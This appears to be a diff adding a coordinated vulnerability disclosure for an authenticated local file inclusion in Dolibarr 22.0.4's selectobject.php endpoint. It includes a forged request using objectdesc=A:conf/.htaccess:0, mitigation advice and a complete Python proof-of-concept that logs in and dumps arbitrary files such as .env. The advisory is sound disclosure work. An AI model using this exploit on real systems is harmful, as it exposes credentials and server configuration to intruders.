+ "details": "# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure\n\n## Target\n\nDolibarr Core (Tested on version 22.0.4)\n\n## Summary\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).\n\n## Vulnerability Details\n\nThe vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.\n\n- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.\n- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.\n\nThis allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.\n\n## Steps to Reproduce\n\n- Log in to the Dolibarr instance with any user account (no specific permissions required).\n- Intercept or manually forge a GET request to the following endpoint:\n\n```\nGET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0\n```\n\n- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.\n- *(Optional)* Run the attached Python PoC to automate the extraction:\n\n```\npython3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess\n```\n\n## Impact\n\nAn attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.\n\n## Suggested Mitigation\n\n- **Input Validation & Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.\n- **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified.\n- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.\n\n## Disclosure Policy & Assistance\n\nThe reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.\n\nShould any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.\n\nThank you for the time and commitment to securing Dolibarr.\n\nBest Regards,\nVincent KHAYAT (cnf409)\n\n## Video PoC\n\nhttps://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844\n\n## PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Dolibarr selectobject.php authenticated LFI PoC\"\"\"\n\nimport argparse\nimport html\nimport re\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom http.cookiejar import CookieJar\n\nLOGIN_MARKERS = (\"Login @\", \"Identifiant @\")\nLOGOUT_MARKERS = (\"/user/logout.php\", \"Logout\", \"Mon tableau de bord\")\n\ndef request(\n opener, base_url, method, path, params=None, data=None, timeout=15\n):\n url = f\"{base_url.rstrip('/')}{path}\"\n if params:\n url = f\"{url}?{urllib.parse.urlencode(params)}\"\n payload = urllib.parse.urlencode(data).encode(\"utf-8\") if data else None\n req = urllib.request.Request(url, method=method.upper(), data=payload)\n req.add_header(\"User-Agent\", \"dolibarr-lfi-poc/1.0-securitytest-for-dolibarr\")\n req.add_header(\"Accept\", \"text/html,application/xhtml+xml\")\n try:\n with opener.open(req, timeout=timeout) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n except urllib.error.HTTPError as err:\n return err.code, err.read().decode(\"utf-8\", errors=\"replace\")\n\ndef extract_login_token(page):\n for pattern in (\n r'name=[\"\\']token[\"\\']\\s+value=[\"\\']([^\"\\']*)[\"\\']',\n r'name=[\"\\']anti-csrf-newtoken[\"\\']\\s+content=[\"\\']([^\"\\']*)[\"\\']',\n ):\n match = re.search(pattern, page, flags=re.IGNORECASE)\n if match:\n return match.group(1)\n return \"\"\n\ndef looks_authenticated(body):\n return any(marker in body for marker in LOGOUT_MARKERS)\n\ndef clean_included_output(body):\n for marker in (\n \"<br />\\n<b>Warning\",\n \"<br />\\r\\n<b>Warning\",\n \"<br />\\n<b>Fatal error\",\n \"<br />\\r\\n<b>Fatal error\",\n ):\n pos = body.find(marker)\n if pos != -1:\n return body[:pos].rstrip()\n return body.rstrip()\n\ndef login(opener, base_url, username, password):\n code, login_page = request(opener, base_url, \"GET\", \"/\")\n if code >= 400:\n return False, f\"HTTP {code} on login page\"\n token = extract_login_token(login_page)\n code, after_login = request(\n opener,\n base_url,\n \"POST\",\n \"/index.php?mainmenu=home\",\n data={\n \"token\": token,\n \"actionlogin\": \"login\",\n \"loginfunction\": \"loginfunction\",\n \"username\": username,\n \"password\": password,\n },\n )\n if code >= 400:\n return False, f\"HTTP {code} on login request\"\n if looks_authenticated(after_login):\n return True, \"\"\n code, home = request(opener, base_url, \"GET\", \"/index.php?mainmenu=home\")\n if code < 400 and looks_authenticated(home):\n return True, \"\"\n return False, \"Invalid username or password\"\n\ndef read_file(opener, base_url, relative_path):\n status, body = request(\n opener,\n base_url,\n \"GET\",\n \"/core/ajax/selectobject.php\",\n params={\n \"outjson\": \"0\",\n \"htmlname\": \"x\",\n \"objectdesc\": f\"A:{relative_path}:0\",\n },\n )\n if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):\n raise RuntimeError(\"Session expired or not authenticated\")\n return status, body, clean_included_output(body)\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description=\"Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4).\"\n )\n parser.add_argument(\n \"--url\",\n default=\"http://127.0.0.1:8080\",\n help=\"Dolibarr base URL (default: http://127.0.0.1:8080)\",\n )\n parser.add_argument(\"--username\", required=True, help=\"Dolibarr username\")\n parser.add_argument(\"--password\", required=True, help=\"Dolibarr password\")\n parser.add_argument(\n \"--file\",\n dest=\"target_file\",\n required=True,\n help=\"Target file to read (e.g. conf/.htaccess).\",\n )\n return parser.parse_args()\n\ndef print_result(path, status, raw, clean):\n print(f\"\\n[+] HTTP status: {status}\")\n print(f\"[+] Requested file: {path}\")\n print(\"=\" * 80)\n if clean:\n print(html.unescape(clean))\n else:\n print(\"(No readable output extracted)\")\n print(\"=\" * 80)\n if clean != raw.rstrip():\n print(\"[i] PHP warnings/fatal output were trimmed from display.\")\n\ndef summarize_error_body(body, limit=1200):\n text = html.unescape(body).strip()\n if not text:\n return \"(Empty response body)\"\n if len(text) > limit:\n return text[:limit].rstrip() + \"\\n... [truncated]\"\n return text\n\ndef main():\n args = parse_args()\n opener = urllib.request.build_opener(\n urllib.request.HTTPCookieProcessor(CookieJar())\n )\n ok, reason = login(opener, args.url, args.username, args.password)\n if not ok:\n print(f\"[!] {reason}\")\n return 1\n print(\"[+] Login successful.\")\n try:\n status, raw, clean = read_file(opener, args.url, args.target_file)\n if status >= 400:\n print(f\"[!] HTTP {status} while reading target file.\")\n print(\"=\" * 80)\n print(summarize_error_body(raw))\n print(\"=\" * 80)\n return 1\n print_result(args.target_file, status, raw, clean)\n return 0\n except Exception as exc:\n print(f\"[!] Error: {exc}\")\n return 1\n\nif __name__ == \"__main__\":\n try:\n raise SystemExit(main())\n except KeyboardInterrupt:\n print(\"\\nInterrupted.\")\n raise SystemExit(130)\n```",
0 commit comments